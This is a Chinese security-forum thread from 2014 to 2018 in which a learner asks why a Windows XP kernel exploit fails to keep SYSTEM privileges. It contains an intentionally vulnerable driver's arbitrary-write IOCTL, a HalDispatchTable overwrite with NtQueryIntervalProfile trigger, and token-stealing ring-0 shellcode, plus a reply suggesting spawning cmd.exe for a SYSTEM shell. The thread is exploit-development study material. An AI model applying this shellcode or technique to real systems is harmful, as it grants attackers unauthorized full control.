首页
社区
课程
招聘
[求助]XP R0shellcode执行后不成功
2014-11-8 17:26 3326

[求助]XP R0shellcode执行后不成功

2014-11-8 17:26
3326
任意写 漏洞驱动代码:
NTSTATUS DeviceIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)  
{  
    Irp->IoStatus.Information = 0;  
  
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);  
  
    Irp->IoStatus.Status = STATUS_SUCCESS;  
    ULONG inputlength = stack->Parameters.DeviceIoControl.InputBufferLength;  
    ULONG outputlength = stack->Parameters.DeviceIoControl.OutputBufferLength;  
    ULONG ioControlCode = stack->Parameters.DeviceIoControl.IoControlCode;  
  
    switch (ioControlCode)  
    {  
    case IOCTL_MethodNeither:  
        __asm int 3;  
        PVOID type3inputbuffer = stack->Parameters.DeviceIoControl.Type3InputBuffer;  
        PVOID UserBuffer = Irp->UserBuffer;  
        KdPrint(("hello my IOCTL_METHODNETHER CALLED"));  
        if (inputlength >=4 && outputlength >= 4)  
        {  
                  
            *(ULONG*)UserBuffer = *(ULONG*)type3inputbuffer;  
            Irp->IoStatus.Information = sizeof(ULONG);  
        }  
        break;  
    }  
  
    IoCompleteRequest(Irp, IO_NO_INCREMENT);  
    return Irp->IoStatus.Status;  
}  


exploit 将 HalDispatchTable + 4 (存放的是HaliQuerySystemInformation函数的地址) 地址处的值置为0  
然后向00申请内存,拷贝进r0 shellcode 如下:

R0 shellcode 为普通的 steltoken 的 提权shellcode
   __asm  
    {  
        cli;  
        mov eax, cr0;  
        mov g_uCr0,eax;   
        and eax,0xFFFEFFFF;   
        mov cr0, eax;   
    }  
    __asm{  
        mov eax,0xFFDFF124 //kpcr  在用户模式下,FS指向TEB结构,而在内核模式下FS却指向KPCR  
            mov eax,[eax]      //当前线程PETHREAD  
        mov esi,[eax+0x220]//当前线程所属进程的PEPROCESS  
        mov eax,esi  
searchXp:  
        mov eax,[eax+0x88]   
        sub eax,0x88       //获得进程链表中下一个进程PEPROCESS   
            mov edx,[eax+0x84] //pid ->edx  
        cmp edx,0x4          
            jne searchXp            
            mov eax,[eax+0xc8] //获取 system 进程的token   
        mov [esi+0xc8],eax //修改当前进程的 token  
    }  
    __asm  
    {  
        sti;  
        mov eax, cr0;  
        mov eax,g_uCr0  
        mov cr0,eax;   
    }


调用 NtQueryIntervalProfile  函数,函数又调用 HalDispatchTable + 4 处的值作为函数
可以成功执行内核中0x00 处代码 ,也就是我的 R0 shellcode
windbg 双机调试 可以看到 成功执行了R0 shellcode

但是每次执行完后,返回到 R3  ,看到进程都不会提权成功,还是原来的token
再次 调用 看到 token 又变成 普通进程的token 而不是我们修改成的 SYSTEM token

问题是如何才能在成功执行R0 shellcode后,看到我们的进程权限变成 SYSTEM 而不是 USER的
按照书上走的流程,但是还是没有成功
望知道的大牛解答

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 59
活跃值: (142)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zccqrqr 2014-11-9 14:05
2
0
为什么没人回答呢55555
雪    币: 7
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ruanbonan 2018-11-6 22:22
3
0
遇到了相同的情况,请问前辈是怎么解决这个问题的呢?
雪    币: 7
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ruanbonan 2018-11-6 22:56
4
0
后来我发现在执行了Shellcode后,exploit.exe进程本身会成为system权限,这一点可以在任务管理器中看到变化,但是启动exploit.exe的父进程cmd.exe还是本地管理员权限。后来我修改了代码,在exploit.exe最后添加了system("cmd.exe"),这样在执行shellcode后打开的新shell是system权限,这也可以在任务管理器中看到变化,应该是token被传递给了cmd.exe子进程,但是此时的exploit.exe本身已经变成Administrator权限了。时隔多年,不知楼主那里情况如何?
游客
登录 | 注册 方可回帖
返回